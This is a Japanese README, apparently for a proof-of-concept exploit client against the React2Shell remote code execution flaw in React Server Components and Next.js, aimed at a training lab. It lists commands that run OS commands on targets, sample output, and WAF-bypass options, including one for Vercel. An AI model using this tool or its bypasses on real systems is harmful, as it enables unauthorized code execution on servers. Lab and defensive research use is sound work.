
RSC/Next.js リモートコード実行脆弱性 (CVE-2025-55182, CVE-2025-66478) の高精度検出
CVE-2025-55182 – React Server Components RCE PoC
Hidden Investigations React2Shell ラボ向けの教育用エクスプロイトクライアント。
このリポジトリには、React Server Components / Next.js アプリケーションの設定ミスを標的とした React2Shell 脆弱性 (CVE-2025-55182) のシングルホスト向け概念実証 (PoC) エクスプロイトツールが含まれています。
本ツールは、公式の Hidden Investigations React2Shell ラボ または明示的に所有・管理しているシステムに対してのみ使用するように設計されています。
このプロジェクトは教育目的および防御的なセキュリティ研究のためにのみ提供されます。
本ツールを使用することにより、適用されるすべての法律および規制に従うことに同意したものとみなします。
whoami)--waf-bypass, --waf-bypass-size)--vercel-waf-bypass)--insecure, カスタムヘッダー)-o/--output, --all-results)requests依存関係のインストール:
pip install -r requirements.txt
git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 react2shell-scanner.py -h
基本的なヘルプ:
python3 react2shell-scanner.py -h
ツールにはターゲットURLが必要です:
python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# or
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"
-t/--target または -u/--url を指定せずに実行すると、ブランド付きのヘルプメッセージを表示して終了します。
注: このPoCはシングルホスト専用です。
-l/--listオプションは存在しますが、意図的に無効化されています。
クワイエットモードの例 (きれいな複数行出力):
python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"
出力:
total 12
drwxr-xr-x 1 root root 10 Dec 13 21:13 .
drwxr-xr-x 1 root root 0 Dec 13 21:13 ..
drwxr-xr-x 1 nextjs nodejs 12 Dec 13 21:13 .next
drwxr-xr-x 1 nextjs nodejs 396 Dec 13 21:13 node_modules
-rw-r--r-- 1 nextjs nodejs 733 Dec 13 21:13 package.json
drwxr-xr-x 1 root root 12 Dec 13 19:13 public
-rw-r--r-- 1 nextjs nodejs 5661 Dec 13 21:13 server.js
以下のフラグはAssetnoteのCLIを模倣するために存在しますが、マススキャンの悪用を避けるためにこのPoCでは実装されていません:
| Option | Status |
|---|---|
-l, --list | 未実装 |
--threads N | 未実装 |
-l/--list を使用すると、ツールは警告を表示して終了し、大規模な安全なスキャンにはAssetnoteのオリジナルの react2shell-scanner を使用するよう提案します。
ローカルラボに対して実行:
python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"
より大きなジャンクフィールドでWAF回避を使用:
python3 react2shell-scanner.py -t http://localhost:3000 --waf-bypass --waf-bypass-size 256 -c "id"
同じホスト上の複数パス:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next/data -c "id"
ファイルからのパス:
python3 react2shell-scanner.py -t http://localhost:3000 --path-file paths.txt -c "id"
セーフチェックモード (OSコマンドは実行されない):
python3 react2shell-scanner.py -t http://localhost:3000 --safe-check
結果のJSON出力をファイルに保存:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next -c "id" -o results.json --all-results
-o/--output が使用されると、ツールは以下のようなオブジェクトの配列を書き込みます:
[
{
"url": "http://localhost:3000/",
"path": "/",
"success": true,
"status": "success",
"output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
"http": {
"status_code": 302,
"headers": {
"X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
"...": "..."
}
}
}
]
react2shell-scanner によるWAF回避アイデアのインスピレーション。このプロジェクトは MITライセンス の下でライセンスされています。詳細は LICENSE を参照してください。
📬 お問い合わせ: [email protected]
| Option | Description | Default |
|---|
-t, --target | ターゲットURLまたはドメイン (--url が使用されない場合は必須) | None |
-u, --url | --target のエイリアス (Assetnoteスタイルのフラグ) | None |
--path | テストするパス (複数回使用可能、例: /, /_next) | / |
--path-file | テストするパスが含まれるファイル (1行に1パス) | None |
| Option | Description | Default |
|---|
-c, --command | ターゲットで実行するコマンド (エクスプロイト成功時) | id |
--safe-check | SAFE_CHECK ペイロードを使用する (OSコマンドなし、単なるマーカー文字列) | off |
--windows | Windowsターゲット用にデフォルトを調整する (例: コマンドが id の場合は whoami を使用) | off |
--waf-bypass | WAF回避のため、リクエストボディに大きなジャンクマルチパートフィールドを追加する | off |
--waf-bypass-size KB | --waf-bypass 使用時のジャンクフィールドのサイズ (KB) | 128 |
--vercel-waf-bypass | Vercel WAFの動作を調整するための代替マルチパートレイアウトを使用する (簡易PoC) | off |
| Option | Description | Default |
|---|
--timeout SECONDS | リクエストタイムアウト (秒) | 15 (または --waf-bypass 使用かつタイムアウト未設定の場合は 20) |
-k, --insecure | SSL検証を無効にする (curl -k と同様) | off |
-H, --header | カスタムヘッダー、例: -H "X-Forwarded-For: 127.0.0.1" (繰り返し可能) | None |
| Option | Description | Default |
|---|
-o, --output FILE | JSON結果を FILE に書き込む | None |
--all-results | --output 使用時に、脆弱でない結果も含める | off |
-v, --verbose | 冗長モード – HTTPステータスと X-Action-Redirect ヘッダーを表示 | off |
-q, --quiet | クワイエットモード – 成功時に正規化されたコマンド出力のみを表示 | off |
--no-color | カラー端末出力を無効にする | off |